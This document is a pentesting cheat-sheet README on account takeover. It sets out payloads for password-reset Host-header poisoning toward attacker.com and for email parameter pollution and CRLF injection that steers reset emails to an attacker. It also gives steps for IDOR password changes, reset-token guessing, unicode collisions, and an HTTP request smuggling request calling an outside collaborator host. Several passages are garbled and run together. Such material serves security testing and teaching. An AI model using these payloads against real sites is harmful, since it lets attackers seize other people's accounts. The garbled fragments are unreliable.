Account Takeover/README.md
Account Takeover (ATO) is a significant threat in the cybersecurity landscape, involving unauthorized access to users' accounts through various attack vectors.
Intercept the password reset request in Burp Suite
Add or edit the following headers in Burp Suite : Host: attacker.com, X-Forwarded-Host: attacker.com
Forward the request with the modified header
POST https://example.com/reset.php HTTP/1.1
Accept: */*
Content-Type: application/json
Host: attacker.com
Look for a password reset URL based on the host header like : https://attacker.com/reset-password.php?token=TOKEN
# parameter pollution
[email protected]&[email protected]
# array of emails
{"email":["[email protected]","[email protected]"]}
# carbon copy
[email protected]%0A%0Dcc:[email protected]
[email protected]%0A%0Dbcc:[email protected]
# separator
[email protected],[email protected]
[email protected]%[email protected]
[email protected]|[email protected]
Attacker have to login with their account and go to the Change password feature.
Start the Burp Suite and Intercept the request
Send it to the repeater tab and edit the parameters : User ID/email
POST /api/changepass
[...]
("form": {"email":"[email protected]","password":"securepwd"})
The password reset token should be randomly generated and unique every time. Try to determine if the token expire or if it's always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm.
resetTokenhttps://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]"admin "The platform CTFd was vulnerable to this attack. See: CVE-2020-7245
When processing user input involving unicode for case mapping or normalisation, unexpected behavior can occur.
[email protected]demⓞ@gmail.comUnicode pentester cheatsheet can be used to find list of suitable unicode characters based on platform.
*.domain.comRefer to HTTP Request Smuggling vulnerability page.
Use smuggler to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)
git clone https://github.com/defparam/smuggler.git
cd smuggler
python3 smuggler.py -h
Craft a request which will overwrite the POST / HTTP/1.1 with the following data:
GET http://something.burpcollaborator.net HTTP/1.1
X:
Final request could look like the following
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
Hackerone reports exploiting this bug
JSON Web Token might be used to authenticate an user.